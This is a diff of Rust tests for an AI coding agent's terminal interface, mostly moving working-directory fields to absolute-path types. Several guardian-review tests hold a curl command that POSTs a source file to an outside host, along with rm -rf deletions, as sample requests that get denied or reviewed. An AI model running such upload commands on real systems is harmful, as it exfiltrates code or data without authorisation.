cwd: test_path_buf("/tmp").abs(),
process_id: None,
source: AppServerCommandExecutionSource::UserShell,
status: AppServerCommandExecutionStatus::InProgress,
@@ -249,7 +249,7 @@ async fn live_app_server_command_execution_strips_shell_wrapper() {
item: AppServerThreadItem::CommandExecution {
id: "cmd-1".to_string(),
command,
cwd: PathBuf::from("/tmp"),
cwd: test_path_buf("/tmp").abs(),
process_id: None,
source: AppServerCommandExecutionSource::UserShell,
status: AppServerCommandExecutionStatus::Completed,
@@ -14,7 +14,7 @@ async fn exec_approval_emits_proposed_command_and_decision_history() {
approval_id: Some("call-short".into()),
turn_id: "turn-short".into(),
command: vec!["bash".into(), "-lc".into(), "echo hello world".into()],
cwd: std::env::current_dir().unwrap_or_else(|_| PathBuf::from(".")),
cwd: AbsolutePathBuf::current_dir().expect("current dir"),
reason: Some(
"this is a test reason such as one that would be produced by the model".into(),
),
@@ -54,8 +54,8 @@ async fn exec_approval_emits_proposed_command_and_decision_history() {
#[test]
fn app_server_exec_approval_request_splits_shell_wrapped_command() {
let script = r#"python3 -c 'print("Hello, world!")'"#;
let request =
exec_approval_request_from_params(AppServerCommandExecutionRequestApprovalParams {
let request = exec_approval_request_from_params(
AppServerCommandExecutionRequestApprovalParams {
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
item_id: "item-1".to_string(),
@@ -66,13 +66,15 @@ fn app_server_exec_approval_request_splits_shell_wrapped_command() {
shlex::try_join(["/bin/zsh", "-lc", script])
.expect("round-trippable shell wrapper"),
),
cwd: Some(PathBuf::from("/tmp")),
cwd: Some(test_path_buf("/tmp").abs()),
command_actions: None,
additional_permissions: None,
proposed_execpolicy_amendment: None,
proposed_network_policy_amendments: None,
available_decisions: None,
});
},
&test_path_buf("/tmp").abs(),
);
assert_eq!(
request.command,
@@ -90,8 +92,8 @@ fn app_server_exec_approval_request_preserves_permissions_context() {
.expect("absolute read path");
let write_path = AbsolutePathBuf::try_from(PathBuf::from(test_path_display("/tmp/write")))
.expect("absolute write path");
let request =
exec_approval_request_from_params(AppServerCommandExecutionRequestApprovalParams {
let request = exec_approval_request_from_params(
AppServerCommandExecutionRequestApprovalParams {
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
item_id: "item-1".to_string(),
@@ -102,7 +104,7 @@ fn app_server_exec_approval_request_preserves_permissions_context() {
protocol: codex_app_server_protocol::NetworkApprovalProtocol::Socks5Tcp,
}),
command: Some("ls".to_string()),
cwd: Some(PathBuf::from("/tmp")),
cwd: Some(test_path_buf("/tmp").abs()),
command_actions: None,
additional_permissions: Some(AppServerAdditionalPermissionProfile {
network: Some(AppServerAdditionalNetworkPermissions {
@@ -116,7 +118,9 @@ fn app_server_exec_approval_request_preserves_permissions_context() {
proposed_execpolicy_amendment: None,
proposed_network_policy_amendments: None,
available_decisions: None,
});
},
&test_path_buf("/tmp").abs(),
);
assert_eq!(
request.network_approval_context,
@@ -187,7 +191,7 @@ async fn exec_approval_uses_approval_id_when_present() {
approval_id: Some("approval-subcommand".into()),
turn_id: "turn-short".into(),
command: vec!["bash".into(), "-lc".into(), "echo hello world".into()],
cwd: std::env::current_dir().unwrap_or_else(|_| PathBuf::from(".")),
cwd: AbsolutePathBuf::current_dir().expect("current dir"),
reason: Some(
"this is a test reason such as one that would be produced by the model".into(),
),
@@ -227,7 +231,7 @@ async fn exec_approval_decision_truncates_multiline_and_long_commands() {
approval_id: Some("call-multi".into()),
turn_id: "turn-multi".into(),
command: vec!["bash".into(), "-lc".into(), "echo line1\necho line2".into()],
cwd: std::env::current_dir().unwrap_or_else(|_| PathBuf::from(".")),
cwd: AbsolutePathBuf::current_dir().expect("current dir"),
reason: Some(
"this is a test reason such as one that would be produced by the model".into(),
),
@@ -282,7 +286,7 @@ async fn exec_approval_decision_truncates_multiline_and_long_commands() {
approval_id: Some("call-long".into()),
turn_id: "turn-long".into(),
command: vec!["bash".into(), "-lc".into(), long],
cwd: std::env::current_dir().unwrap_or_else(|_| PathBuf::from(".")),
cwd: AbsolutePathBuf::current_dir().expect("current dir"),
reason: None,
network_approval_context: None,
proposed_execpolicy_amendment: None,
@@ -17,7 +17,7 @@ async fn submission_preserves_text_elements_and_local_images() {
approval_policy: AskForApproval::Never,
approvals_reviewer: ApprovalsReviewer::User,
sandbox_policy: SandboxPolicy::new_read_only_policy(),
cwd: PathBuf::from("/home/user/project"),
cwd: test_path_buf("/home/user/project").abs(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
@@ -101,7 +101,7 @@ async fn submission_with_remote_and_local_images_keeps_local_placeholder_numberi
approval_policy: AskForApproval::Never,
approvals_reviewer: ApprovalsReviewer::User,
sandbox_policy: SandboxPolicy::new_read_only_policy(),
cwd: PathBuf::from("/home/user/project"),
cwd: test_path_buf("/home/user/project").abs(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
@@ -196,7 +196,7 @@ async fn enter_with_only_remote_images_submits_user_turn() {
approval_policy: AskForApproval::Never,
approvals_reviewer: ApprovalsReviewer::User,
sandbox_policy: SandboxPolicy::new_read_only_policy(),
cwd: PathBuf::from("/home/user/project"),
cwd: test_path_buf("/home/user/project").abs(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
@@ -261,7 +261,7 @@ async fn shift_enter_with_only_remote_images_does_not_submit_user_turn() {
approval_policy: AskForApproval::Never,
approvals_reviewer: ApprovalsReviewer::User,
sandbox_policy: SandboxPolicy::new_read_only_policy(),
cwd: PathBuf::from("/home/user/project"),
cwd: test_path_buf("/home/user/project").abs(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
@@ -301,7 +301,7 @@ async fn enter_with_only_remote_images_does_not_submit_when_modal_is_active() {
approval_policy: AskForApproval::Never,
approvals_reviewer: ApprovalsReviewer::User,
sandbox_policy: SandboxPolicy::new_read_only_policy(),
cwd: PathBuf::from("/home/user/project"),
cwd: test_path_buf("/home/user/project").abs(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
@@ -341,7 +341,7 @@ async fn enter_with_only_remote_images_does_not_submit_when_input_disabled() {
approval_policy: AskForApproval::Never,
approvals_reviewer: ApprovalsReviewer::User,
sandbox_policy: SandboxPolicy::new_read_only_policy(),
cwd: PathBuf::from("/home/user/project"),
cwd: test_path_buf("/home/user/project").abs(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
@@ -384,7 +384,7 @@ async fn submission_prefers_selected_duplicate_skill_path() {
approval_policy: AskForApproval::Never,
approvals_reviewer: ApprovalsReviewer::User,
sandbox_policy: SandboxPolicy::new_read_only_policy(),
cwd: PathBuf::from("/home/user/project"),
cwd: test_path_buf("/home/user/project").abs(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
+22 -16
View File
@@ -11,7 +11,7 @@ async fn exec_approval_emits_proposed_command_and_decision_history() {
approval_id: Some("call-short".into()),
turn_id: "turn-short".into(),
command: vec!["bash".into(), "-lc".into(), "echo hello world".into()],
cwd: std::env::current_dir().unwrap_or_else(|_| PathBuf::from(".")),
cwd: AbsolutePathBuf::current_dir().expect("current dir"),
reason: Some(
"this is a test reason such as one that would be produced by the model".into(),
),
@@ -53,8 +53,8 @@ async fn exec_approval_emits_proposed_command_and_decision_history() {
#[test]
fn app_server_exec_approval_request_splits_shell_wrapped_command() {
let script = r#"python3 -c 'print("Hello, world!")'"#;
let request =
exec_approval_request_from_params(AppServerCommandExecutionRequestApprovalParams {
let request = exec_approval_request_from_params(
AppServerCommandExecutionRequestApprovalParams {
thread_id: "thread-1".to_string(),
turn_id: "turn-1".to_string(),
item_id: "item-1".to_string(),
@@ -65,13 +65,15 @@ fn app_server_exec_approval_request_splits_shell_wrapped_command() {
shlex::try_join(["/bin/zsh", "-lc", script])
.expect("round-trippable shell wrapper"),
),
cwd: Some(PathBuf::from("/tmp")),
cwd: Some(test_path_buf("/tmp").abs()),
command_actions: None,
additional_permissions: None,
proposed_execpolicy_amendment: None,
proposed_network_policy_amendments: None,
available_decisions: None,
});
},
&test_path_buf("/tmp").abs(),
);
assert_eq!(
request.command,
@@ -94,7 +96,7 @@ async fn exec_approval_uses_approval_id_when_present() {
approval_id: Some("approval-subcommand".into()),
turn_id: "turn-short".into(),
command: vec!["bash".into(), "-lc".into(), "echo hello world".into()],
cwd: std::env::current_dir().unwrap_or_else(|_| PathBuf::from(".")),
cwd: AbsolutePathBuf::current_dir().expect("current dir"),
reason: Some(
"this is a test reason such as one that would be produced by the model".into(),
),
@@ -135,7 +137,7 @@ async fn exec_approval_decision_truncates_multiline_and_long_commands() {
approval_id: Some("call-multi".into()),
turn_id: "turn-multi".into(),
command: vec!["bash".into(), "-lc".into(), "echo line1\necho line2".into()],
cwd: std::env::current_dir().unwrap_or_else(|_| PathBuf::from(".")),
cwd: AbsolutePathBuf::current_dir().expect("current dir"),
reason: Some(
"this is a test reason such as one that would be produced by the model".into(),
),
@@ -192,7 +194,7 @@ async fn exec_approval_decision_truncates_multiline_and_long_commands() {
approval_id: Some("call-long".into()),
turn_id: "turn-long".into(),
command: vec!["bash".into(), "-lc".into(), long],
cwd: std::env::current_dir().unwrap_or_else(|_| PathBuf::from(".")),
cwd: AbsolutePathBuf::current_dir().expect("current dir"),
reason: None,
network_approval_context: None,
proposed_execpolicy_amendment: None,
@@ -355,7 +357,7 @@ async fn exec_end_without_begin_uses_event_command() {
"echo orphaned".to_string(),
];
let parsed_cmd = codex_shell_command::parse_command::parse_command(&command);
let cwd = std::env::current_dir().unwrap_or_else(|_| PathBuf::from("."));
let cwd = AbsolutePathBuf::current_dir().expect("current dir");
chat.handle_codex_event(Event {
id: "call-orphan".to_string(),
msg: EventMsg::ExecCommandEnd(ExecCommandEndEvent {
@@ -872,7 +874,7 @@ async fn view_image_tool_call_adds_history_cell() {
id: "sub-image".into(),
msg: EventMsg::ViewImageToolCall(ViewImageToolCallEvent {
call_id: "call-image".into(),
path: image_path.to_path_buf(),
path: image_path,
}),
});
@@ -893,13 +895,17 @@ async fn image_generation_call_adds_history_cell() {
status: "completed".into(),
revised_prompt: Some("A tiny blue square".into()),
result: "Zm9v".into(),
saved_path: Some("file:///tmp/ig-1.png".into()),
saved_path: Some(test_path_buf("/tmp/ig-1.png").abs()),
}),
});
let cells = drain_insert_history(&mut rx);
assert_eq!(cells.len(), 1, "expected a single history cell");
let combined = lines_to_single_string(&cells[0]);
let platform_file_url = url::Url::from_file_path(test_path_buf("/tmp/ig-1.png"))
.expect("test path should convert to file URL")
.to_string();
let combined =
lines_to_single_string(&cells[0]).replace(&platform_file_url, "file:///tmp/ig-1.png");
assert_chatwidget_snapshot!("image_generation_call_history_snapshot", combined);
}
@@ -995,7 +1001,7 @@ async fn bang_shell_command_submits_run_user_shell_command_in_app_server_tui() {
approval_policy: AskForApproval::Never,
approvals_reviewer: ApprovalsReviewer::User,
sandbox_policy: SandboxPolicy::new_read_only_policy(),
cwd: PathBuf::from("/home/user/project"),
cwd: test_path_buf("/home/user/project").abs(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
@@ -1060,7 +1066,7 @@ async fn approval_modal_exec_snapshot() -> anyhow::Result<()> {
approval_id: Some("call-approve-cmd".into()),
turn_id: "turn-approve-cmd".into(),
command: vec!["bash".into(), "-lc".into(), "echo hello world".into()],
cwd: std::env::current_dir().unwrap_or_else(|_| PathBuf::from(".")),
cwd: AbsolutePathBuf::current_dir().expect("current dir"),
reason: Some(
"this is a test reason such as one that would be produced by the model".into(),
),
@@ -1123,7 +1129,7 @@ async fn approval_modal_exec_without_reason_snapshot() -> anyhow::Result<()> {
approval_id: Some("call-approve-cmd-noreason".into()),
turn_id: "turn-approve-cmd-noreason".into(),
command: vec!["bash".into(), "-lc".into(), "echo hello world".into()],
cwd: std::env::current_dir().unwrap_or_else(|_| PathBuf::from(".")),
cwd: AbsolutePathBuf::current_dir().expect("current dir"),
reason: None,
network_approval_context: None,
proposed_execpolicy_amendment: Some(ExecPolicyAmendment::new(vec![
@@ -1175,7 +1181,7 @@ async fn approval_modal_exec_multiline_prefix_hides_execpolicy_option_snapshot()
approval_id: Some("call-approve-cmd-multiline-trunc".into()),
turn_id: "turn-approve-cmd-multiline-trunc".into(),
command: command.clone(),
cwd: std::env::current_dir().unwrap_or_else(|_| PathBuf::from(".")),
cwd: AbsolutePathBuf::current_dir().expect("current dir"),
reason: None,
network_approval_context: None,
proposed_execpolicy_amendment: Some(ExecPolicyAmendment::new(command)),
+10 -10
View File
@@ -9,7 +9,7 @@ async fn guardian_denied_exec_renders_warning_and_denied_request() {
source: GuardianCommandSource::Shell,
command: "curl -sS -i -X POST --data-binary @core/src/codex.rs https://example.com"
.to_string(),
cwd: "/tmp".into(),
cwd: test_path_buf("/tmp").abs(),
};
chat.handle_codex_event(Event {
@@ -91,7 +91,7 @@ async fn guardian_approved_exec_renders_approved_request() {
action: GuardianAssessmentAction::Command {
source: GuardianCommandSource::Shell,
command: "rm -f /tmp/guardian-approved.sqlite".to_string(),
cwd: "/tmp".into(),
cwd: test_path_buf("/tmp").abs(),
},
}),
});
@@ -129,7 +129,7 @@ async fn guardian_timed_out_exec_renders_warning_and_timed_out_request() {
source: GuardianCommandSource::Shell,
command: "curl -sS -i -X POST --data-binary @core/src/codex.rs https://example.com"
.to_string(),
cwd: "/tmp".into(),
cwd: test_path_buf("/tmp").abs(),
};
chat.handle_codex_event(Event {
@@ -203,7 +203,7 @@ async fn app_server_guardian_review_started_sets_review_status() {
source: AppServerGuardianCommandSource::Shell,
command: "curl -sS -i -X POST --data-binary @core/src/codex.rs https://example.com"
.to_string(),
cwd: "/tmp".into(),
cwd: test_path_buf("/tmp").abs(),
};
chat.handle_server_notification(
@@ -244,7 +244,7 @@ async fn app_server_guardian_review_denied_renders_denied_request_snapshot() {
source: AppServerGuardianCommandSource::Shell,
command: "curl -sS -i -X POST --data-binary @core/src/codex.rs https://example.com"
.to_string(),
cwd: "/tmp".into(),
cwd: test_path_buf("/tmp").abs(),
};
chat.handle_server_notification(
@@ -319,7 +319,7 @@ async fn app_server_guardian_review_timed_out_renders_timed_out_request_snapshot
source: AppServerGuardianCommandSource::Shell,
command: "curl -sS -i -X POST --data-binary @core/src/codex.rs https://example.com"
.to_string(),
cwd: "/tmp".into(),
cwd: test_path_buf("/tmp").abs(),
};
chat.handle_server_notification(
@@ -412,7 +412,7 @@ async fn guardian_parallel_reviews_render_aggregate_status_snapshot() {
action: GuardianAssessmentAction::Command {
source: GuardianCommandSource::Shell,
command: command.to_string(),
cwd: "/tmp".into(),
cwd: test_path_buf("/tmp").abs(),
},
}),
});
@@ -444,7 +444,7 @@ async fn guardian_parallel_reviews_keep_remaining_review_visible_after_denial()
action: GuardianAssessmentAction::Command {
source: GuardianCommandSource::Shell,
command: "rm -rf '/tmp/guardian target 1'".to_string(),
cwd: "/tmp".into(),
cwd: test_path_buf("/tmp").abs(),
},
}),
});
@@ -462,7 +462,7 @@ async fn guardian_parallel_reviews_keep_remaining_review_visible_after_denial()
action: GuardianAssessmentAction::Command {
source: GuardianCommandSource::Shell,
command: "rm -rf '/tmp/guardian target 2'".to_string(),
cwd: "/tmp".into(),
cwd: test_path_buf("/tmp").abs(),
},
}),
});
@@ -480,7 +480,7 @@ async fn guardian_parallel_reviews_keep_remaining_review_visible_after_denial()
action: GuardianAssessmentAction::Command {
source: GuardianCommandSource::Shell,
command: "rm -rf '/tmp/guardian target 1'".to_string(),
cwd: "/tmp".into(),
cwd: test_path_buf("/tmp").abs(),
},
}),
});
+4 -4
View File
@@ -481,7 +481,7 @@ pub(super) fn begin_exec_with_source(
let command = vec!["bash".to_string(), "-lc".to_string(), raw_cmd.to_string()];
let parsed_cmd: Vec<ParsedCommand> =
codex_shell_command::parse_command::parse_command(&command);
let cwd = std::env::current_dir().unwrap_or_else(|_| PathBuf::from("."));
let cwd = AbsolutePathBuf::current_dir().expect("current dir");
let interaction_input = None;
let event = ExecCommandBeginEvent {
call_id: call_id.to_string(),
@@ -507,7 +507,7 @@ pub(super) fn begin_unified_exec_startup(
raw_cmd: &str,
) -> ExecCommandBeginEvent {
let command = vec!["bash".to_string(), "-lc".to_string(), raw_cmd.to_string()];
let cwd = std::env::current_dir().unwrap_or_else(|_| PathBuf::from("."));
let cwd = AbsolutePathBuf::current_dir().expect("current dir");
let event = ExecCommandBeginEvent {
call_id: call_id.to_string(),
process_id: Some(process_id.to_string()),
@@ -999,7 +999,7 @@ pub(super) async fn assert_hook_events_snapshot(
handler_type: codex_protocol::protocol::HookHandlerType::Command,
execution_mode: codex_protocol::protocol::HookExecutionMode::Sync,
scope: codex_protocol::protocol::HookScope::Turn,
source_path: PathBuf::from("/tmp/hooks.json"),
source_path: PathBuf::from(test_path_display("/tmp/hooks.json")).abs(),
display_order: 0,
status: codex_protocol::protocol::HookRunStatus::Running,
status_message: Some(status_message.to_string()),
@@ -1033,7 +1033,7 @@ pub(super) async fn assert_hook_events_snapshot(
handler_type: codex_protocol::protocol::HookHandlerType::Command,
execution_mode: codex_protocol::protocol::HookExecutionMode::Sync,
scope: codex_protocol::protocol::HookScope::Turn,
source_path: PathBuf::from("/tmp/hooks.json"),
source_path: PathBuf::from(test_path_display("/tmp/hooks.json")).abs(),
display_order: 0,
status: codex_protocol::protocol::HookRunStatus::Completed,
status_message: Some(status_message.to_string()),
@@ -17,7 +17,7 @@ async fn resumed_initial_messages_render_history() {
approval_policy: AskForApproval::Never,
approvals_reviewer: ApprovalsReviewer::User,
sandbox_policy: SandboxPolicy::new_read_only_policy(),
cwd: PathBuf::from("/home/user/project"),
cwd: test_path_buf("/home/user/project").abs(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
@@ -130,7 +130,7 @@ async fn replayed_user_message_preserves_text_elements_and_local_images() {
approval_policy: AskForApproval::Never,
approvals_reviewer: ApprovalsReviewer::User,
sandbox_policy: SandboxPolicy::new_read_only_policy(),
cwd: PathBuf::from("/home/user/project"),
cwd: test_path_buf("/home/user/project").abs(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
@@ -191,7 +191,7 @@ async fn replayed_user_message_preserves_remote_image_urls() {
approval_policy: AskForApproval::Never,
approvals_reviewer: ApprovalsReviewer::User,
sandbox_policy: SandboxPolicy::new_read_only_policy(),
cwd: PathBuf::from("/home/user/project"),
cwd: test_path_buf("/home/user/project").abs(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
@@ -259,7 +259,7 @@ async fn session_configured_syncs_widget_config_permissions_and_cwd() {
approval_policy: AskForApproval::Never,
approvals_reviewer: ApprovalsReviewer::User,
sandbox_policy: expected_sandbox.clone(),
cwd: expected_cwd.to_path_buf(),
cwd: expected_cwd.clone(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
@@ -302,7 +302,7 @@ async fn replayed_user_message_with_only_remote_images_renders_history_cell() {
approval_policy: AskForApproval::Never,
approvals_reviewer: ApprovalsReviewer::User,
sandbox_policy: SandboxPolicy::new_read_only_policy(),
cwd: PathBuf::from("/home/user/project"),
cwd: test_path_buf("/home/user/project").abs(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
@@ -355,7 +355,7 @@ async fn replayed_user_message_with_only_local_images_does_not_render_history_ce
approval_policy: AskForApproval::Never,
approvals_reviewer: ApprovalsReviewer::User,
sandbox_policy: SandboxPolicy::new_read_only_policy(),
cwd: PathBuf::from("/home/user/project"),
cwd: test_path_buf("/home/user/project").abs(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
@@ -603,7 +603,7 @@ async fn replayed_reasoning_item_hides_raw_reasoning_when_disabled() {
approval_policy: AskForApproval::Never,
approvals_reviewer: ApprovalsReviewer::User,
sandbox_policy: SandboxPolicy::new_read_only_policy(),
cwd: test_project_path(),
cwd: test_project_path().abs(),
reasoning_effort: None,
history_log_id: 0,
history_entry_count: 0,
@@ -650,7 +650,7 @@ async fn replayed_reasoning_item_shows_raw_reasoning_when_enabled() {
approval_policy: AskForApproval::Never,
approvals_reviewer: ApprovalsReviewer::User,
sandbox_policy: SandboxPolicy::new_read_only_policy(),
cwd: test_project_path(),
cwd: test_project_path().abs(),
reasoning_effort: None,
history_log_id: 0,
history_entry_count: 0,
@@ -463,7 +463,7 @@ async fn permissions_selection_marks_guardian_approvals_current_after_session_co
approval_policy: AskForApproval::OnRequest,
approvals_reviewer: ApprovalsReviewer::GuardianSubagent,
sandbox_policy: SandboxPolicy::new_workspace_write_policy(),
cwd: test_project_path(),
cwd: test_project_path().abs(),
reasoning_effort: None,
history_log_id: 0,
history_entry_count: 0,
@@ -517,7 +517,7 @@ async fn permissions_selection_marks_guardian_approvals_current_with_custom_work
exclude_tmpdir_env_var: false,
exclude_slash_tmp: false,
},
cwd: test_project_path(),
cwd: test_project_path().abs(),
reasoning_effort: None,
history_log_id: 0,
history_entry_count: 0,
@@ -917,7 +917,7 @@ async fn submit_user_message_emits_structured_plugin_mentions_from_bindings() {
approval_policy: AskForApproval::Never,
approvals_reviewer: ApprovalsReviewer::User,
sandbox_policy: SandboxPolicy::new_read_only_policy(),
cwd: PathBuf::from("/home/user/project"),
cwd: test_path_buf("/home/user/project").abs(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
@@ -1163,7 +1163,7 @@ async fn plan_slash_command_with_args_submits_prompt_in_plan_mode() {
approval_policy: AskForApproval::Never,
approvals_reviewer: ApprovalsReviewer::User,
sandbox_policy: SandboxPolicy::new_read_only_policy(),
cwd: PathBuf::from("/home/user/project"),
cwd: test_path_buf("/home/user/project").abs(),
reasoning_effort: Some(ReasoningEffortConfig::default()),
history_log_id: 0,
history_entry_count: 0,
@@ -694,7 +694,7 @@ async fn status_widget_and_approval_modal_snapshot() {
approval_id: Some("call-approve-exec".into()),
turn_id: "turn-approve-exec".into(),
command: vec!["echo".into(), "hello world".into()],
cwd: PathBuf::from("/tmp"),
cwd: test_path_buf("/tmp").abs(),
reason: Some(
"this is a test reason such as one that would be produced by the model".into(),
),
@@ -1442,7 +1442,7 @@ async fn user_prompt_submit_app_server_hook_notifications_render_snapshot() {
handler_type: AppServerHookHandlerType::Command,
execution_mode: AppServerHookExecutionMode::Sync,
scope: AppServerHookScope::Turn,
source_path: PathBuf::from("/tmp/hooks.json"),
source_path: PathBuf::from(test_path_display("/tmp/hooks.json")).abs(),
display_order: 0,
status: AppServerHookRunStatus::Running,
status_message: Some("checking go-workflow input policy".to_string()),
@@ -1464,7 +1464,7 @@ async fn user_prompt_submit_app_server_hook_notifications_render_snapshot() {
handler_type: AppServerHookHandlerType::Command,
execution_mode: AppServerHookExecutionMode::Sync,
scope: AppServerHookScope::Turn,
source_path: PathBuf::from("/tmp/hooks.json"),
source_path: PathBuf::from(test_path_display("/tmp/hooks.json")).abs(),
display_order: 0,
status: AppServerHookRunStatus::Stopped,
status_message: Some("checking go-workflow input policy".to_string()),
@@ -1534,7 +1534,7 @@ async fn completed_hook_with_no_entries_stays_out_of_history() {
handler_type: codex_protocol::protocol::HookHandlerType::Command,
execution_mode: codex_protocol::protocol::HookExecutionMode::Sync,
scope: codex_protocol::protocol::HookScope::Turn,
source_path: PathBuf::from("/tmp/hooks.json"),
source_path: PathBuf::from(test_path_display("/tmp/hooks.json")).abs(),
display_order: 0,
status: codex_protocol::protocol::HookRunStatus::Running,
status_message: None,
@@ -1559,7 +1559,7 @@ async fn completed_hook_with_no_entries_stays_out_of_history() {
handler_type: codex_protocol::protocol::HookHandlerType::Command,
execution_mode: codex_protocol::protocol::HookExecutionMode::Sync,
scope: codex_protocol::protocol::HookScope::Turn,
source_path: PathBuf::from("/tmp/hooks.json"),
source_path: PathBuf::from(test_path_display("/tmp/hooks.json")).abs(),
display_order: 0,
status: codex_protocol::protocol::HookRunStatus::Completed,
status_message: None,
@@ -2034,7 +2034,7 @@ fn hook_run_summary(
handler_type: codex_protocol::protocol::HookHandlerType::Command,
execution_mode: codex_protocol::protocol::HookExecutionMode::Sync,
scope: codex_protocol::protocol::HookScope::Turn,
source_path: PathBuf::from("/tmp/hooks.json"),
source_path: PathBuf::from(test_path_display("/tmp/hooks.json")).abs(),
display_order: 0,
status,
status_message: status_message.map(str::to_string),
@@ -2083,7 +2083,7 @@ async fn chatwidget_exec_and_status_layout_vt100_snapshot() {
path: "diff_render.rs".into(),
},
];
let cwd = std::env::current_dir().unwrap_or_else(|_| PathBuf::from("."));
let cwd = AbsolutePathBuf::current_dir().expect("current dir");
chat.handle_codex_event(Event {
id: "c1".into(),
msg: EventMsg::ExecCommandBegin(ExecCommandBeginEvent {
@@ -79,7 +79,7 @@ async fn status_command_renders_immediately_without_rate_limit_refresh() {
#[tokio::test]
async fn status_command_renders_instruction_sources_from_thread_session() {
let (mut chat, mut rx, _op_rx) = make_chatwidget_manual(/*model_override*/ None).await;
chat.instruction_source_paths = vec![chat.config.cwd.join("AGENTS.md").to_path_buf()];
chat.instruction_source_paths = vec![chat.config.cwd.join("AGENTS.md")];
chat.dispatch_command(SlashCommand::Status);
+4 -3
View File
@@ -45,6 +45,7 @@ use std::collections::HashMap;
use std::path::Path;
use std::path::PathBuf;
use codex_utils_absolute_path::AbsolutePathBuf;
use unicode_width::UnicodeWidthChar;
/// Display width of a tab character in columns.
@@ -294,11 +295,11 @@ fn quantize_rgb_to_ansi256(target: (u8, u8, u8)) -> Color {
pub struct DiffSummary {
changes: HashMap<PathBuf, FileChange>,
cwd: PathBuf,
cwd: AbsolutePathBuf,
}
impl DiffSummary {
pub fn new(changes: HashMap<PathBuf, FileChange>, cwd: PathBuf) -> Self {
pub fn new(changes: HashMap<PathBuf, FileChange>, cwd: AbsolutePathBuf) -> Self {
Self { changes, cwd }
}
}
@@ -325,7 +326,7 @@ impl From<DiffSummary> for Box<dyn Renderable> {
if i > 0 {
rows.push(Box::new(RtLine::from("")));
}
let mut path = RtLine::from(display_path_for(&row.path, &val.cwd));
let mut path = RtLine::from(display_path_for(&row.path, val.cwd.as_path()));
path.push_span(" ");
path.extend(render_line_count_summary(row.added, row.removed));
rows.push(Box::new(path));
+17 -7
View File
@@ -68,6 +68,7 @@ use codex_protocol::protocol::SessionConfiguredEvent;
use codex_protocol::request_user_input::RequestUserInputAnswer;
use codex_protocol::request_user_input::RequestUserInputQuestion;
use codex_protocol::user_input::TextElement;
use codex_utils_absolute_path::AbsolutePathBuf;
use codex_utils_cli::format_env_display;
use image::DynamicImage;
use image::ImageReader;
@@ -89,6 +90,7 @@ use std::time::Instant;
use tracing::error;
use unicode_segmentation::UnicodeSegmentation;
use unicode_width::UnicodeWidthStr;
use url::Url;
mod hook_cell;
@@ -2575,8 +2577,8 @@ pub(crate) fn new_patch_apply_failure(stderr: String) -> PlainHistoryCell {
PlainHistoryCell { lines }
}
pub(crate) fn new_view_image_tool_call(path: PathBuf, cwd: &Path) -> PlainHistoryCell {
let display_path = display_path_for(&path, cwd);
pub(crate) fn new_view_image_tool_call(path: AbsolutePathBuf, cwd: &Path) -> PlainHistoryCell {
let display_path = display_path_for(path.as_path(), cwd);
let lines: Vec<Line<'static>> = vec![
vec!["".dim(), "Viewed Image".bold()].into(),
@@ -2589,7 +2591,7 @@ pub(crate) fn new_view_image_tool_call(path: PathBuf, cwd: &Path) -> PlainHistor
pub(crate) fn new_image_generation_call(
call_id: String,
revised_prompt: Option<String>,
saved_path: Option<String>,
saved_path: Option<AbsolutePathBuf>,
) -> PlainHistoryCell {
let detail = revised_prompt.unwrap_or_else(|| call_id.clone());
@@ -2598,6 +2600,9 @@ pub(crate) fn new_image_generation_call(
vec!["".dim(), detail.dim()].into(),
];
if let Some(saved_path) = saved_path {
let saved_path = Url::from_file_path(saved_path.as_path())
.map(|url| url.to_string())
.unwrap_or_else(|_| saved_path.display().to_string());
lines.push(vec!["".dim(), "Saved to: ".dim(), saved_path.into()].into());
}
@@ -2987,11 +2992,16 @@ mod tests {
#[test]
fn image_generation_call_renders_saved_path() {
let saved_path = "file:///tmp/generated-image.png".to_string();
let saved_path = test_path_buf("/tmp/generated-image.png").abs();
let expected_saved_path = format!(
" └ Saved to: {}",
Url::from_file_path(saved_path.as_path())
.expect("test path should convert to file URL")
);
let cell = new_image_generation_call(
"call-image-generation".to_string(),
Some("A tiny blue square".to_string()),
Some(saved_path.clone()),
Some(saved_path),
);
assert_eq!(
@@ -2999,7 +3009,7 @@ mod tests {
vec![
"• Generated Image:".to_string(),
" └ A tiny blue square".to_string(),
format!(" └ Saved to: {saved_path}"),
expected_saved_path,
],
);
}
@@ -3015,7 +3025,7 @@ mod tests {
approval_policy: AskForApproval::Never,
approvals_reviewer: codex_protocol::config_types::ApprovalsReviewer::User,
sandbox_policy: SandboxPolicy::new_read_only_policy(),
cwd: test_path_buf("/tmp/project"),
cwd: test_path_buf("/tmp/project").abs(),
reasoning_effort: None,
history_log_id: 0,
history_entry_count: 0,
+3 -2
View File
@@ -711,9 +711,10 @@ fn hook_event_label(event_name: HookEventName) -> &'static str {
#[cfg(test)]
mod tests {
use super::*;
use crate::test_support::PathBufExt;
use crate::test_support::test_path_buf;
use pretty_assertions::assert_eq;
use ratatui::style::Modifier;
use std::path::PathBuf;
#[test]
fn completed_hook_with_warning_uses_default_bold_bullet() {
@@ -766,7 +767,7 @@ mod tests {
